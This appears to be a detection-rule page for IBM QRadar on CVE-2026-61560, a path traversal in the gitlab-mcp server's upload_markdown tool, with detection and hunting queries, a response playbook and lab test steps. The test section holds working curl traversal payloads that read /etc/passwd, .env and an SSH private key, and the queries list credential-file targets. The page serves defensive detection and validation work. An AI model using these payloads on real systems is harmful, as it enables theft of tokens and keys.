CVE-2026-61560 IBM QRadar · QRadar

Detect @zereight/mcp-gitlab Unauthenticated Path Traversal Arbitrary File Read (CVE-2026-61560) in IBM QRadar

Detects exploitation of CVE-2026-61560, an unauthenticated path traversal (CWE-22) in the @zereight/mcp-gitlab (gitlab-mcp) MCP server prior to v2.1.27. The `upload_markdown` tool fails to sanitize file paths, allowing an attacker to read arbitrary files from the host via directory traversal sequences. This is commonly abused to exfiltrate GitLab Personal Access Tokens (PATs), MCP configuration files, and environment secrets stored on disk, leading to full GitLab account takeover. CVSS 9.8; public PoC available. Detection focuses on traversal patterns (`../`, encoded variants, absolute sensitive paths) hitting the MCP server's HTTP/stdio interface, process reads of sensitive files by the node/mcp-gitlab process, and outbound token exfiltration.

MITRE ATT&CK

Tactic
Initial Access Credential Access Collection

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT sourceip, destinationip, "URL" AS url, QIDNAME(qid) AS event, starttime
FROM events
WHERE ("URL" ILIKE '%upload_markdown%' OR UTF8(payload) ILIKE '%upload_markdown%')
  AND (UTF8(payload) ILIKE '%../%' OR UTF8(payload) ILIKE '%..%2f%' OR UTF8(payload) ILIKE '%2e%2e%2f%')
  AND (UTF8(payload) ILIKE '%/etc/passwd%' OR UTF8(payload) ILIKE '%.env%' OR UTF8(payload) ILIKE '%id_rsa%' OR UTF8(payload) ILIKE '%credentials%')
ORDER BY starttime DESC LAST 24 HOURS
critical severity medium confidence

Returns events where an upload_markdown request payload contains both traversal sequences and references to sensitive credential files hitting the gitlab-mcp server.

Data Sources

Web server DSMProxy DSMCustom MCP log source

Required Tables

events

False Positives & Tuning

  • Authorized scanner traffic embedding traversal and sensitive-path strings.
  • Payload inspection matching legitimate documentation content.
  • Internal automation replaying test payloads.

Other platforms for CVE-2026-61560


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1upload_markdown path traversal to /etc/passwd

    Expected signal: Web/proxy log entry for POST /tools/upload_markdown with '../../../../etc/passwd' payload; file-open event for /etc/passwd by node process.

  2. Test 2URL-encoded traversal for .env exfiltration

    Expected signal: Access log with %2f-encoded traversal targeting .env; MCP application log records the request.

  3. Test 3Traversal to read SSH private key

    Expected signal: Network HTTP event and file-open on id_rsa by the node/mcp-gitlab process.


Response Playbook

Triage

  1. Confirm the running version of @zereight/mcp-gitlab on the host (`npm ls @zereight/mcp-gitlab` or check package.json/lockfile); versions < 2.1.27 are vulnerable.
  2. Extract the full traversal payload from the alert and resolve which file(s) were targeted (e.g. /etc/passwd, .env, PAT/credential stores).
  3. Determine whether the MCP server is exposed unauthenticated to the network or only via local stdio; network exposure sharply raises severity.
  4. Correlate the source IP against expected clients and check whether the same IP issued multiple traversal attempts or scanned other endpoints.

Containment

  1. Upgrade @zereight/mcp-gitlab to v2.1.27 or later immediately, or take the MCP server offline until patched.
  2. Rotate all GitLab Personal Access Tokens and any secrets stored in files reachable by the MCP process, as they must be presumed compromised.
  3. Restrict network access to the MCP server (bind to localhost / firewall) and require authentication in front of it.

Evidence Collection

  1. Preserve web/proxy/MCP application logs showing the upload_markdown requests, source IPs, and returned response sizes/status codes.
  2. Capture the MCP server process file-access audit records (auditd/EDR) showing which sensitive files were opened after the request.
  3. Snapshot the host filesystem state and the .env / credential files that were targeted for later comparison and forensic timeline.

Escalation Criteria

  • !Escalate to incident response if a 200/successful response returned contents of a credential file or if PATs were subsequently used from an unexpected IP.
  • !Escalate to GitLab platform owners if exfiltrated PATs show authenticated API activity (repo clones, new tokens, membership changes) indicating account takeover.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Web/proxy access logs containing upload_markdown requests with traversal sequences and their response sizes.
  • >auditd/EDR file-open records for the node/mcp-gitlab process touching /etc/passwd, .env, id_rsa, or credential stores.
  • >GitLab audit events showing PAT usage from anomalous source IPs after the exploitation window.

Tuning Guidance

Baseline the legitimate clients and IPs that call the MCP server so scanner and automation noise can be excluded. If markdown documents frequently contain literal '../' strings, tighten the detection to require both a traversal sequence AND a sensitive-file target (as the sensitive flag does) before alerting. Once all servers are confirmed >= v2.1.27, downgrade to hunting-only.


Hunting Queries

Retrospective hunt for any upload_markdown request containing traversal sequences or sensitive-path references across MCP and web logs.

Hunting — KQL
kql
Syslog | where ProcessName has_any ("node","mcp-gitlab") | where SyslogMessage has "upload_markdown" and SyslogMessage has_any ("../","%2e%2e","/etc/",".env") | project TimeGenerated, HostName, SyslogMessage
Hunting — SPL
spl
index=mcp OR index=web "upload_markdown" | regex _raw="(?i)(\.\.\/|%2e%2e%2f)" | stats count values(_raw) by src_ip

Atomic Red Team Tests

Test 1 upload_markdown path traversal to /etc/passwd
linux

Sends a crafted upload_markdown request with directory traversal to read /etc/passwd from a lab gitlab-mcp instance.

Command

bash
curl -s -X POST http://127.0.0.1:3000/tools/upload_markdown -H 'Content-Type: application/json' -d '{"filename":"../../../../etc/passwd","content":"x"}'

Cleanup

bash
echo 'no cleanup required; read-only request'

Expected Telemetry

Web/proxy log entry for POST /tools/upload_markdown with '../../../../etc/passwd' payload; file-open event for /etc/passwd by node process.

Expected Detection

KQL/SPL traversal rules fire with HitSensitive/sensitive=1 for /etc/passwd.

Test 2 URL-encoded traversal for .env exfiltration
linux

Uses URL-encoded traversal sequences to attempt reading an application .env file.

Command

bash
curl -s 'http://127.0.0.1:3000/tools/upload_markdown?filename=..%2f..%2f..%2f.env'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

Access log with %2f-encoded traversal targeting .env; MCP application log records the request.

Expected Detection

Encoded-traversal patterns (..%2f/%2e%2e%2f) matched by all seven dialects; sensitive flag set for .env.

Test 3 Traversal to read SSH private key
macos

Attempts to read an id_rsa private key via traversal on macOS lab host running the MCP server.

Command

bash
curl -s -X POST http://127.0.0.1:3000/tools/upload_markdown -H 'Content-Type: application/json' -d '{"filename":"../../../../Users/lab/.ssh/id_rsa","content":"x"}'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

Network HTTP event and file-open on id_rsa by the node/mcp-gitlab process.

Expected Detection

Traversal + id_rsa sensitive-target match triggers the network-then-file sequence rule (EQL) and single-event rules.

Related Detections